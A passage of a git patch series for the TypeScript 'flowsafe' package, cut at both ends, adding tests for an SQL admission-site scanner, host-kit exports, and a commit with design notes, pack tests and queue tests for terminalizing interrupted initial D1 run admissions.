alone proves no absence.', + }, { file: 'do-runner/execution-fence.ts', error: 'ExecutionFenceUnreadableError', @@ -1164,6 +1440,62 @@ const FENCE_ERROR_AUTHORS: ReadonlyArray<{ beforeExecutionEffect: 'A failed proof-binding metadata write becomes unreadable before the runtime starts the run.', }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (!scope.witness) {', + beforeExecutionEffect: + 'A createRun callback without a positive persistence witness cannot enter the engine; another domain or swallowed failure may already have written, so missing witness gives no definitive-zero authority.', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'if (await this.#converged(', + beforeExecutionEffect: + 'A thrown batch with no exact converged readback blocks engine entry; the batch may already have committed durable admission and this uncertain refusal cannot authorize retry or journal clearing.', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: '} else if (proofRows.length !== 0)', + beforeExecutionEffect: + 'Malformed returned batch data blocks engine entry after a possible committed initial INSERT; no recovery read or missing-result assumption upgrades it to success or definitive zero.', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFencedError', + anchor: 'const proofSlotUnbound =', + beforeExecutionEffect: + 'After a validated all-zero chained batch, the current state/key/round diagnostic explains refusal before engine entry; the SQL result, not this JavaScript predicate, establishes no initial write.', + }, + { + file: 'do-runner/fenced-workflows-d1.ts', + error: 'ExecutionFenceUnreadableError', + anchor: "error.reason?.code === 'MUTATION_EPOCH_MISMATCH'", + beforeExecutionEffect: + 'An unreadable post-zero diagnostic blocks engine entry while preserving the already validated all-zero result; failed observation alone would not establish absence of durable admission.', + }, + { + file: 'do-runner/workflow-snapshot-row.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'export async function readRawWorkflowSnapshot(', + beforeExecutionEffect: + 'The exact reader performs no writes and refuses malformed or unavailable rows before its caller enters the engine; admission readback may follow an already committed initial row and does not prove no write.', + }, + { + file: 'do-runner/run-provenance.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'export function decodeRunStartIdentity(', + beforeExecutionEffect: + 'The role-neutral provenance decoder performs no storage or execution and rejects malformed owned identity before callers can use it to authorize engine entry.', + }, + { + file: 'do-runner/run-provenance.ts', + error: 'ExecutionFenceUnreadableError', + anchor: 'resumeCounts: Object.freeze([]) as readonly [],', + beforeExecutionEffect: + 'The initial provenance decoder validates before engine entry; callers can use it on a returned or read-back initial row, so decoder failure does not establish absence of durable admission.', + }, { file: 'do-runner/runtime.ts', error: 'ExecutionFencedError', @@ -1281,11 +1613,113 @@ function anchorDistanceBeforeAuthor( return undefined; } -function siteKey(site: { file: string; predicate: string }): string { - return `${site.file} :: ${site.predicate}`; +function siteKey(site: GateSite): string { + return `${site.file} :: ${site.predicate} :: ${site.sql ?? 'predicate'}`; } describe('execution-entry matrix', () => { + describe('SQL admission source census', () => { + const fenceTable = `\${EXECUTION_FENCE_TABLE}`; + const insert = `INSERT INTO \${snapshotTable}`; + const guard = `WHERE EXISTS (SELECT 1 FROM ${fenceTable} AS f WHERE f.state = 'open')`; + const guardedPrepare = `database.prepare(\`${insert} SELECT 1 ${guard} \${optionalParticipantClauses}\`)`; + const sqlSite: GateSite = { + file: 'do-runner/fenced-workflows-d1.ts', + predicate: 'admitsRunStart', + sql: 'initial-snapshot-insert', + }; + + it.each([ + ['template with participant interpolation', guardedPrepare], + [ + 'whitespace and a literal table name', + 'database.prepare(`\n INSERT\n INTO snapshot SELECT 1\n' + + guard.replace(fenceTable, 'flowsafe_execution_fence') + + '`)', + ], + [ + 'quoted string argument', + `database.prepare("INSERT INTO snapshot SELECT 1 ${guard.replace(fenceTable, 'flowsafe_execution_fence')}")`, + ], + ])('finds an actual prepare argument: %s', (_name, source) => { + expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([ + sqlSite, + ]); + }); + + it.each([ + ['line comment', `// ${guardedPrepare}`], + ['block comment', `/* ${guardedPrepare} */`], + [ + 'unused template', + guardedPrepare.replace('database.prepare(', 'void ('), + ], + ['different method', guardedPrepare.replace('.prepare(', '.inspect(')], + [ + 'indirect argument', + `const sql = \`INSERT INTO snapshot SELECT 1 ${guard}\`; database.prepare(sql)`, + ], + [ + 'diagnostic SELECT', + guardedPrepare.replace(insert, 'SELECT * FROM snapshot'), + ], + [ + 'proof UPDATE', + guardedPrepare.replace( + `${insert} SELECT 1`, + 'UPDATE flowsafe_execution_fence SET proof_run_id = 1', + ), + ], + ['unguarded INSERT', guardedPrepare.replace(guard, 'WHERE 1 = 1')], + ])('does not invent a SQL gate from %s', (_name, source) => { + expect(sqlAdmissionSites({ file: sqlSite.file, source })).toEqual([]); + }); + + it('counts every SQL occurrence and scans files excluded only from JavaScript discovery', () => { + const excluded = { + file: NOT_GATE_FILES[0] as string, + source: `${guardedPrepare}; admitsRunStart(reading, key);`, + }; + expect(predicateCallSites(excluded)).toEqual([]); + expect(sqlAdmissionSites(excluded)).toEqual([ + { ...sqlSite, file: excluded.file }, + ]); + const sites = [ + { file: sqlSite.file, source: `${guardedPrepare}; ${guardedPrepare};` }, + { file: 'other/new-entry.ts', source: guardedPrepare }, + ].flatMap(sqlAdmissionSites); + expect(sites.map(siteKey).sort()).toEqual( + [sqlSite, sqlSite, { ...sqlSite, file: 'other/new-entry.ts' }] + .map(siteKey) + .sort(), + ); + }); + + it('loses the SQL site when its guard is removed despite unchanged diagnostic calls', () => { + const original = { + file: sqlSite.file, + source: `${guardedPrepare}; admitsRunStart(reading, key);`, + }; + const mutated = { + ...original, + source: original.source.replace(guard, 'WHERE 1 = 1'), + }; + const calls = predicateCallSites(original); + expect(predicateCallSites(mutated)).toEqual(calls); + expect(sqlAdmissionSites(original)).toEqual([sqlSite]); + expect(sqlAdmissionSites(mutated)).toEqual([]); + const declared = [...calls, sqlSite].map(siteKey).sort(); + const observed = [ + ...predicateCallSites(mutated), + ...sqlAdmissionSites(mutated), + ] + .map(siteKey) + .sort(); + expect(observed).not.toEqual(declared); + expect(siteKey(sqlSite)).not.toBe(siteKey(calls[0] as GateSite)); + }); + }); + it('rejects aliases, qualified construction, and subclassing census escapes', () => { const escapes = [ "import { ExecutionFencedError as HiddenFenceError } from './do-runner/index.js';", @@ -1407,8 +1841,8 @@ describe('execution-entry matrix', () => { it(`${entry.name} behaves as ${entry.predicate} under '${state}'`, async () => { // #given — the surface built while the fence is still open, so its // prerequisites are created the way production creates them. - const fence = await openFence(); - const prepared = await entry.prepare(fence); + const { fence, database, sqlite } = await openFence(); + const prepared = await entry.prepare(fence, database, sqlite); // #when — the fence moves to the state under test. if (state !== 'open') { @@ -1436,8 +1870,8 @@ describe('execution-entry matrix', () => { // from admitsWorkAuthoring and admitsExistingRun from // admitsDrainableExecution; only the nominated proof-only case tells them // apart. - const fence = await openFence(); - const prepared = await entry.prepare(fence); + const { fence, database, sqlite } = await openFence(); + const prepared = await entry.prepare(fence, database, sqlite); await fence.transition({ expected: 'open', next: 'proof-only', diff --git a/packages/flowsafe/src/host-kit/index.ts b/packages/flowsafe/src/host-kit/index.ts index 1646c612..d96ffe38 100644 --- a/packages/flowsafe/src/host-kit/index.ts +++ b/packages/flowsafe/src/host-kit/index.ts @@ -30,6 +30,9 @@ export { normalizeRunExecutionIdentity, normalizeStartExecutionIdentity, normalizeStartIdentity, + type ProofEntryExpectation, + type RunAdmissionConflictClassification, + RunAdmissionConflictError, type RunExecutionIdentity, type StartExecutionIdentity, type StartIdentity, @@ -41,6 +44,18 @@ export { type ExecutionFenceVersionedReading, executionFenceReadingPayload, } from '../do-runner/execution-fence.js'; +export { + FENCED_WORKFLOW_STORAGE, + type FencedWorkflowAdmissionCapability, + type InitialAdmissionDatabase, + type InitialAdmissionWitness, + type InitialRunAdmission, +} from '../do-runner/fenced-workflow-capability.js'; +export { isDefinitiveInitialAdmissionRefusal } from '../do-runner/initial-admission-refusal.js'; +export type { + D1RunAddress, + RawWorkflowSnapshot, +} from '../do-runner/workflow-snapshot-row.js'; export { type BoundedBodyResult, readBoundedBody, diff --git a/packages/flowsafe/test-support/sqlite.ts b/packages/flowsafe/test-support/sqlite.ts index 106b6b55..793d7ef3 100644 --- a/packages/flowsafe/test-support/sqlite.ts +++ b/packages/flowsafe/test-support/sqlite.ts @@ -56,7 +56,17 @@ export function sqliteUnitDatabase(db: SqliteDatabase): unknown { return column !== undefined ? (row[column] ?? null) : row; }, run: async () => execute(), - [runSync]: execute, + [runSync]: () => { + const results = db.prepare(sql).all(...params); + const count = db.prepare('SELECT changes() AS count').get() as { + count: number | bigint; + }; + return { + success: true, + results, + meta: { changes: Number(count.count) }, + }; + }, all: async () => ({ success: true, results: db.prepare(sql).all(...params), From c30ca44e9635513c06f63e03535fb743869251d6 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 6 Sep 2026 18:48:52 +0400 Subject: [PATCH 078/169] feat(flowsafe): repair interrupted initial admissions without replay Derive terminal outcomes from the exact admitted row and preserve uncertain-write causes. Reject exhausted lifecycle and resume counters before durable writes or engine effects. Generated with [Devin](https://devin.ai) Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com> --- .changeset/sticky-fence-epochs.md | 2 + docs/do-runner-design.md | 10 + .../flowsafe/scripts/agent-host-pack-test.mjs | 68 +- .../src/background-tasks/d1-storage.test.ts | 545 ++++++ .../src/background-tasks/d1-storage.ts | 8 + .../do-runner/fenced-workflow-capability.ts | 22 + .../src/do-runner/fenced-workflows-d1.test.ts | 1638 ++++++++++++++++- .../src/do-runner/fenced-workflows-d1.ts | 346 +++- packages/flowsafe/src/do-runner/index.ts | 3 + .../src/do-runner/run-lifecycle.test.ts | 339 ++++ .../flowsafe/src/do-runner/run-lifecycle.ts | 79 +- .../src/do-runner/run-provenance.test.ts | 61 + .../flowsafe/src/do-runner/run-provenance.ts | 83 + .../src/do-runner/run-terminal-state.test.ts | 274 +++ .../src/do-runner/run-terminal-state.ts | 133 ++ .../flowsafe/src/do-runner/runtime.test.ts | 441 ++++- packages/flowsafe/src/do-runner/runtime.ts | 207 +-- .../src/execution-entry-matrix.test.ts | 14 + packages/flowsafe/src/host-kit/index.ts | 3 + 19 files changed, 4074 insertions(+), 202 deletions(-) create mode 100644 packages/flowsafe/src/do-runner/run-lifecycle.test.ts create mode 100644 packages/flowsafe/src/do-runner/run-terminal-state.test.ts create mode 100644 packages/flowsafe/src/do-runner/run-terminal-state.ts diff --git a/.changeset/sticky-fence-epochs.md b/.changeset/sticky-fence-epochs.md index 5a7f329c..c003dbf5 100644 --- a/.changeset/sticky-fence-epochs.md +++ b/.changeset/sticky-fence-epochs.md @@ -11,3 +11,5 @@ Add execution-identity and mutation-epoch validation/header helpers through do-r Read additive reservation bindings and D1 proof identities, preserving active fence metadata during schema upgrades. Admin responses omit proof identity and tokens. Current reservation writes remain legacy-null, and Runtime provenance, lifecycle APIs, and run-ID-based predicates retain their existing behavior; automatic generation binding and final-write enforcement are not enabled by these additions. Add an explicit same-binding D1 initial-admission capability with atomic snapshot, winning reservation and proof writes, exact raw reads, and scoped no-insert evidence. Default and serialized background workflow domains support it while ordinary unscoped writes retain adapter behavior. Built-in Runtime and hosts do not yet activate this primitive; complete recovery and writer integration remain required before artifact-epoch enforcement is enabled. + +Add explicit expected-row terminalization to the owned D1 capability. It derives an unknown-effects failure or the stored cancellation/timeout intent, joins the existing background workflow queue, and reports exact conditional-write/readback outcomes without replaying execution or performing cleanup. Keep ordinary admission stamps and Runtime v1 behavior unchanged. Reject exhausted lifecycle revision and resume ordinal increments before persistence or execution while preserving readable maximum-valued counters on no-increment paths. diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index e87f605b..dd71bc98 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -211,6 +211,16 @@ The initial conditional INSERT atomically chains its winning reservation and pro Admission stamps `initialAdmission: true` into the stored provenance. Ordinary updates can preserve that stamp while changing the row’s bytes or status. The marker alone proves neither an unchanged initial row, lack of progress, nor absence of effects. Inspect the full authoritative row and its execution identity; this primitive does not activate marker-based Runtime recovery. +The same capability exposes `terminalizeInitialAdmission({ expected, execution, attemptToken, nowMs })` for explicit repair of an already-admitted initial row. It accepts the exact raw observation and generation/correlation tokens, not a caller-selected status or replacement snapshot. An eligible row is pending, admission-stamped, and still has the strict initial control and provenance fields. Legacy observations and valid but ineligible rows return an input error; malformed consumed snapshot or owned metadata returns `EXECUTION_FENCE_UNREADABLE`. + +Before repair, the trusted owning host must establish exclusive quiescence for the exact attempt: no active execution can resume or write. Possessing a raw D1 binding and matching tokens does not prove inactivity. Neither the conditional update nor the background domain’s local queue establishes distributed quiescence. + +Without a recorded cancellation or timeout intent, repair writes a fixed `StartOutcomeUnknown` failure: effects may have occurred, and the run must not be automatically re-executed. A stored intent supplies its own disposition and replay principals. Repair preserves economic metadata, refuses forced termination during a dispute, and returns any required terminal cleanup without performing it. Both outcomes clear active/suspension fields and remove the admission stamp from the replacement only. + +The write compares all six original raw-row fields in one UPDATE and joins the serialized background domain’s existing per-run queue. An exact result is `terminalized`; one readback can establish `already-terminalized` or same-generation, known nonpending `progressed` state. A pending readback is never progress, even without the stamp. A known conditional miss can return `conflict`; an uncertain write remains unreadable unless exact replacement or progress is observed. Malformed returned data does not trigger recovery. This operation supplies no no-insert evidence, does not run an engine or cleanup, and is not yet wired into Runtime or host recovery. + +Lifecycle revisions and resume ordinals remain readable at `Number.MAX_SAFE_INTEGER`, but an operation that would increment an exhausted counter now refuses before persistence or execution. Existing no-increment paths keep their behavior. Runtime continues writing v1 provenance, and reservation writes remain legacy-null. + A validated all-zero batch changes no participant. `isDefinitiveInitialAdmissionRefusal(error, execution)` recognizes only package-owned, in-process evidence for that exact execution, including bounded cause wrappers. It never authorizes deleting a durable snapshot. A thrown batch converges only on matching raw bytes and every required binding; malformed returned results and uncertain readbacks cannot grant a witness. `readSnapshot()` returns an immutable observation of the six stored fields without Core cache fallback or timestamp conversion. Built-in Runtime still emits v1 and does not enter these scopes. Host integration, exact recovery and final schedule enforcement remain prerequisites for activating artifact epochs; this low-level primitive does not complete that rollout. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index c02e8660..f7366d2a 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -87,7 +87,13 @@ try { const manifest = JSON.parse( readFileSync(join(packageDirectory, 'package.json'), 'utf8'), ); - for (const leaf of ['fenced-workflows-d1', 'fenced-workflow-capability']) { + for (const leaf of [ + 'fenced-workflows-d1', + 'fenced-workflow-capability', + 'run-terminal-state', + 'run-lifecycle', + 'run-provenance', + ]) { const declaration = readFileSync( join(packageDirectory, 'dist', 'do-runner', `${leaf}.d.ts`), 'utf8', @@ -222,6 +228,9 @@ try { BREAKWATER_CONNECTOR_GRANTS_KEY, connectorGrantsForLeg, type ConnectorApprovalGrant, + type InitialTerminalizationRequest as RootTerminalizationRequest, + type InitialTerminalizationResult as RootTerminalizationResult, + type RunTerminalCleanup as RootTerminalCleanup, } from '@proofoftech/flowsafe'; import type { ApprovalGrantScope, @@ -232,6 +241,9 @@ import { FENCED_WORKFLOW_STORAGE, FencedWorkflowsStorageD1, type InitialRunAdmission, + type InitialTerminalizationRequest, + type InitialTerminalizationResult, + type RunTerminalCleanup, type FencedWorkflowAdmissionCapability, type DeploymentInventory, type DrainProofContract, @@ -249,6 +261,9 @@ import { type FlowsafeWorkerEnv, type RunRouterOptions, type RunRouterStartIdempotency, + type InitialTerminalizationRequest as HostTerminalizationRequest, + type InitialTerminalizationResult as HostTerminalizationResult, + type RunTerminalCleanup as HostTerminalCleanup, } from '@proofoftech/flowsafe/host-kit'; import { createAgentCatalog, @@ -333,11 +348,33 @@ const backgroundReads = null as BackgroundTaskReads | null; declare const bgHost: BackgroundTaskHost; declare const domainConfig: ConstructorParameters[0]; declare const admission: InitialRunAdmission; +declare const terminalRequest: InitialTerminalizationRequest; +const hostTerminalRequest: HostTerminalizationRequest = terminalRequest; +const terminalResult = null as InitialTerminalizationResult | null; +const hostTerminalResult: HostTerminalizationResult | null = terminalResult; +const cleanup = null as RunTerminalCleanup | null; +const hostCleanup: HostTerminalCleanup | null = cleanup; +const rootTerminalRequest: RootTerminalizationRequest = terminalRequest; +const rootTerminalResult: RootTerminalizationResult | null = terminalResult; +const rootCleanup: RootTerminalCleanup | null = cleanup; +const rejectsNullNamespace: null extends InitialTerminalizationRequest['execution']['tablePrefix'] ? false : true = true; +void hostTerminalRequest; +void hostTerminalResult; +void hostCleanup; +void rootTerminalRequest; +void rootTerminalResult; +void rootCleanup; +void rejectsNullNamespace; const owned = new FencedWorkflowsStorageD1(domainConfig); const capability: FencedWorkflowAdmissionCapability | undefined = owned[FENCED_WORKFLOW_STORAGE]; if (capability) { void capability.withInitialAdmission(admission, async () => ({ id: 'run' })); void capability.readSnapshot({ workflowId: 'workflow', runId: 'run' }); + void capability.terminalizeInitialAdmission(terminalRequest); + // @ts-expect-error callers cannot choose the disposition + void capability.terminalizeInitialAdmission({ ...terminalRequest, requestedStatus: 'failed' }); + // @ts-expect-error callers cannot supply a replacement snapshot + void capability.terminalizeInitialAdmission({ ...terminalRequest, failedSnapshot: {} }); } void BREAKWATER_CONNECTOR_EXECUTION_KEY; void BREAKWATER_CONNECTOR_GRANTS_KEY; @@ -461,6 +498,13 @@ assert.equal(typeof hostKit.createRunRouter, 'function'); assert.equal(typeof hostKit.createFlowsafeWorker, 'function'); assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE); assert.equal('FencedWorkflowsStorageD1' in hostKit, false); +assert.equal(typeof doRunner.RunLifecycleBlockedError, 'function'); +assert.equal(doRunner.RunLifecycleBlockedError, flowsafe.RunLifecycleBlockedError); +assert.equal('RunLifecycleBlockedError' in hostKit, false); +const blocked = new doRunner.RunLifecycleBlockedError({ code: 'DISPUTED_SETTLEMENT', message: 'run termination is blocked while an economic operation is disputed' }); +assert.equal(blocked instanceof flowsafe.RunLifecycleBlockedError, true); +assert.equal(blocked.name, 'RunLifecycleBlockedError'); +assert.equal(blocked.reason.code, 'DISPUTED_SETTLEMENT'); const binding = sqliteUnitDatabase(openSqlite()); const storage = doRunner.createD1Storage({ binding }); let engineCalls = 0; @@ -485,6 +529,28 @@ assert.equal(JSON.parse(admitted.witness.row.snapshot).status, 'pending'); assert.equal(engineCalls, 0); await admitted.value.start({ inputData: {} }); assert.equal(engineCalls, 1); +const repairExecution = { ...execution, runId: 'packed-repair', startToken: 'repair-generation' }; +const repair = await capability.withInitialAdmission({ execution: repairExecution, attemptToken: 'repair-correlation', + fence: new doRunner.ExecutionFenceStore(binding), onInitialWriteAttempt() {}, + requestContext: { app: 'retained', 'flowsafe.runProvenance': { version: 2, startToken: repairExecution.startToken, attemptToken: 'repair-correlation', resumeCounts: [] } }, +}, () => workflow.createRun({ runId: repairExecution.runId })); +const repairRequest = { expected: repair.witness.row, execution: repairExecution, attemptToken: 'repair-correlation', nowMs: 1700000000123 }; +const repaired = await capability.terminalizeInitialAdmission(repairRequest); +assert.equal(repaired.kind, 'terminalized'); +const repairedSnapshot = JSON.parse(repaired.row.snapshot); +assert.equal(repairedSnapshot.status, 'failed'); +assert.equal(repairedSnapshot.error.name, 'StartOutcomeUnknown'); +assert.equal('initialAdmission' in repairedSnapshot.requestContext['flowsafe.runProvenance'], false); +assert.equal(repairedSnapshot.requestContext.app, 'retained'); +assert.equal(repaired.row.createdAt, repair.witness.row.createdAt); +assert.equal(repaired.row.updatedAt, '2023-11-14T22:13:20.123Z'); +assert.deepEqual(await capability.readSnapshot(repairExecution), repaired.row); +assert.equal((await capability.terminalizeInitialAdmission(repairRequest)).kind, 'already-terminalized'); +assert.equal(engineCalls, 1); +for (const name of ['nextLifecycleRevision', 'nextResumeCount', 'terminalStateFields', 'decodeProgressRunProvenance']) { + assert.equal(name in doRunner, false, name); + assert.equal(name in hostKit, false, name); +} assert.equal( backgroundTasks.EXECUTION_FENCE_SUSPEND_KEY, 'flowsafe.executionFenced', diff --git a/packages/flowsafe/src/background-tasks/d1-storage.test.ts b/packages/flowsafe/src/background-tasks/d1-storage.test.ts index 1f2aeeef..efdd0ac3 100644 --- a/packages/flowsafe/src/background-tasks/d1-storage.test.ts +++ b/packages/flowsafe/src/background-tasks/d1-storage.test.ts @@ -18,6 +18,7 @@ import { FENCED_WORKFLOW_STORAGE, FencedWorkflowsStorageD1, type InitialAdmissionDatabase, + type InitialTerminalizationRequest, } from '../do-runner/index.js'; import { backgroundTasksStore, @@ -26,6 +27,550 @@ import { DurableObjectWorkflowsStorageD1, } from './d1-storage.js'; +async function queuedInitial(withIntent = true) { + const sql = openSqlite(); + const binding = sqliteUnitDatabase(sql) as InitialAdmissionDatabase; + const workflows = new DurableObjectWorkflowsStorageD1({ + binding: binding as never, + }); + await workflows.init(); + const capability = workflows[FENCED_WORKFLOW_STORAGE]; + if (!capability) throw new Error('queued capability missing'); + const execution = { + tablePrefix: '', + workflowId: 'workflow', + runId: 'run', + startToken: 'generation', + }; + const fence = new ExecutionFenceStore(binding); + const { witness } = await capability.withInitialAdmission( + { + execution, + attemptToken: 'correlation', + fence, + requestContext: { + app: { keep: 'λ' }, + 'flowsafe.runProvenance': { + version: 2, + startToken: 'generation', + attemptToken: 'correlation', + resumeCounts: [], + }, + 'flowsafe.runLifecycle': { + version: 1, + revision: 2, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + ...(withIntent + ? { + transitionIntent: { + status: 'cancelled', + requestedAt: 1, + replayPrincipals: [{ kind: 'human', id: 'original' }], + }, + } + : {}), + }, + }, + onInitialWriteAttempt: () => undefined, + }, + () => + workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: createEmptyWorkflowSnapshot('run'), + }), + ); + return { + sql, + binding, + workflows, + capability, + execution, + expected: witness.row, + }; +} + +describe('initial terminalization in the real background queue', () => { + const callerFields = [ + 'request.expected', + 'request.execution', + 'request.attemptToken', + 'request.nowMs', + 'expected.tablePrefix', + 'expected.workflowId', + 'expected.runId', + 'expected.resourceId', + 'expected.snapshot', + 'expected.createdAt', + 'expected.updatedAt', + 'execution.tablePrefix', + 'execution.workflowId', + 'execution.runId', + 'execution.startToken', + ] as const; + + function holdStatement( + h: Awaited>, + pattern: RegExp, + ) { + let release = () => {}; + let entered = () => {}; + const held = new Promise((resolve) => { + release = resolve; + }); + const ready = new Promise((resolve) => { + entered = resolve; + }); + const prepare = h.binding.prepare.bind(h.binding); + let holdNext = true; + const boundCalls: Array<{ sql: string; values: unknown[] }> = []; + const calls = vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + boundCalls.push({ sql, values }); + const bound = bind(...values); + if (holdNext && pattern.test(sql)) { + holdNext = false; + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + entered(); + await held; + return all(); + }); + } + return bound; + }); + return statement; + }); + return { release, ready, calls, boundCalls }; + } + + it.each( + callerFields, + )('preserves the first %s getter fault before the held queue is released', async (field) => { + const h = await queuedInitial(); + const barrier = holdStatement(h, /^INSERT INTO/i); + const inflight: Promise[] = []; + try { + const holder = h.workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: JSON.parse(h.expected.snapshot), + updatedAt: new Date(h.expected.updatedAt), + }); + inflight.push(holder); + await barrier.ready; + barrier.calls.mockClear(); + const request: InitialTerminalizationRequest = { + expected: { ...h.expected }, + execution: { ...h.execution }, + attemptToken: 'correlation', + nowMs: 1_700_000_000_123, + }; + const [part, key] = field.split('.'); + if (!key) throw new Error('getter key missing'); + const target = + part === 'request' + ? request + : part === 'expected' + ? request.expected + : request.execution; + const fault = new Error(`first caller getter: ${field}`); + const getter = vi.fn(() => { + throw fault; + }); + Object.defineProperty(target, key, { enumerable: true, get: getter }); + let outcome: unknown; + const operation = h.capability.terminalizeInitialAdmission(request).then( + (result) => { + outcome = result; + }, + (error: unknown) => { + outcome = error; + }, + ); + inflight.push(operation); + await Promise.resolve(); + expect(outcome).toBe(fault); + expect(getter).toHaveBeenCalledTimes(1); + expect(barrier.calls).not.toHaveBeenCalled(); + expect( + h.sql + .prepare( + "SELECT snapshot FROM mastra_workflow_snapshot WHERE run_id = 'run'", + ) + .all(), + ).toEqual([{ snapshot: h.expected.snapshot }]); + } finally { + barrier.release(); + await Promise.allSettled(inflight); + vi.restoreAllMocks(); + } + }); + + it('keeps changed pending bytes after a held partial writer instead of refreshing repair', async () => { + const h = await queuedInitial(); + const barrier = holdStatement(h, /^INSERT INTO/i); + const inflight: Promise[] = []; + try { + const holder = h.workflows.updateWorkflowState({ + workflowName: 'workflow', + runId: 'run', + opts: { + status: 'pending', + tracingContext: { traceId: 'changed-pending', spanId: 'partial' }, + }, + }); + inflight.push(holder); + await barrier.ready; + const operation = h.capability.terminalizeInitialAdmission({ + expected: h.expected, + execution: h.execution, + attemptToken: 'correlation', + nowMs: 1_700_000_000_123, + }); + inflight.push(operation); + void operation.catch(() => undefined); + await h.workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'unrelated', + snapshot: createEmptyWorkflowSnapshot('unrelated'), + }); + expect( + barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')), + ).toEqual([]); + barrier.release(); + await holder; + const result = await operation; + expect(result.kind).toBe('conflict'); + expect(result).not.toHaveProperty('cleanup'); + expect( + barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')), + ).toHaveLength(1); + const row = await h.capability.readSnapshot(h.execution); + expect(result.row).toEqual(row); + const snapshot = JSON.parse(row?.snapshot ?? ''); + expect(snapshot.status).toBe('pending'); + expect(snapshot.tracingContext).toEqual({ + traceId: 'changed-pending', + spanId: 'partial', + }); + expect( + snapshot.requestContext['flowsafe.runProvenance'].initialAdmission, + ).toBe(true); + expect(snapshot.requestContext['flowsafe.runLifecycle'].revision).toBe(2); + } finally { + barrier.release(); + await Promise.allSettled(inflight); + vi.restoreAllMocks(); + } + }); + + it('holds a later partial update behind repair and preserves the terminal projection', async () => { + const h = await queuedInitial(false); + const barrier = holdStatement(h, /^UPDATE "/); + const inflight: Promise[] = []; + try { + const operation = h.capability.terminalizeInitialAdmission({ + expected: h.expected, + execution: h.execution, + attemptToken: 'correlation', + nowMs: 1_700_000_000_123, + }); + inflight.push(operation); + void operation.catch(() => undefined); + await barrier.ready; + let updated = false; + const partial = h.workflows + .updateWorkflowState({ + workflowName: 'workflow', + runId: 'run', + opts: { + status: 'failed', + tracingContext: { + traceId: 'retained-after-repair', + spanId: 'partial', + }, + }, + }) + .finally(() => { + updated = true; + }); + inflight.push(partial); + void partial.catch(() => undefined); + await h.workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'unrelated', + snapshot: createEmptyWorkflowSnapshot('unrelated'), + }); + expect(updated).toBe(false); + expect( + barrier.boundCalls.filter( + ({ sql, values }) => /^SELECT/i.test(sql) && values.includes('run'), + ), + ).toEqual([]); + barrier.release(); + const result = await operation; + expect(result.kind).toBe('terminalized'); + const state = await partial; + expect(state).toMatchObject({ + status: 'failed', + tracingContext: { traceId: 'retained-after-repair', spanId: 'partial' }, + error: { name: 'StartOutcomeUnknown' }, + requestContext: { + app: { keep: 'λ' }, + 'flowsafe.runLifecycle': { revision: 2 }, + }, + }); + const row = await h.capability.readSnapshot(h.execution); + const snapshot = JSON.parse(row?.snapshot ?? ''); + expect(snapshot).toEqual(state); + expect( + Object.hasOwn( + snapshot.requestContext['flowsafe.runProvenance'], + 'initialAdmission', + ), + ).toBe(false); + expect( + barrier.calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')), + ).toHaveLength(1); + } finally { + barrier.release(); + await Promise.allSettled(inflight); + vi.restoreAllMocks(); + } + }); + + it.each([ + ...callerFields, + 'capability-before', + 'capability-during', + 'late-getters', + ])('captures %s before an ordinary persist holder yields the run lock', async (variant) => { + vi.useFakeTimers({ toFake: ['Date'] }); + vi.setSystemTime(1_700_000_000_000); + let release = () => {}; + const inflight: Promise[] = []; + try { + const h = await queuedInitial(); + const foreign = await queuedInitial(); + const foreignBefore = foreign.sql + .prepare('SELECT * FROM mastra_workflow_snapshot') + .all(); + const saved = h.capability; + if (variant === 'capability-before') + Object.defineProperty(h.workflows, FENCED_WORKFLOW_STORAGE, { + value: foreign.capability, + }); + let entered = () => {}; + const held = new Promise((resolve) => { + release = resolve; + }); + const enteredPromise = new Promise((resolve) => { + entered = resolve; + }); + const prepare = h.binding.prepare.bind(h.binding); + let holdNext = true; + const casValues: unknown[][] = []; + const calls = vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + if (sql.startsWith('UPDATE "')) casValues.push(values); + if (/^INSERT INTO/i.test(sql) && holdNext) { + holdNext = false; + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + entered(); + await held; + return all(); + }); + } + return bound; + }); + return statement; + }); + const holder = h.workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'run', + snapshot: JSON.parse(h.expected.snapshot), + updatedAt: new Date(h.expected.updatedAt), + }); + inflight.push(holder); + await enteredPromise; + const reads = new Map(); + function observed(source: T, label: string): T { + const copy = { ...source }; + for (const key of Object.keys(source)) + 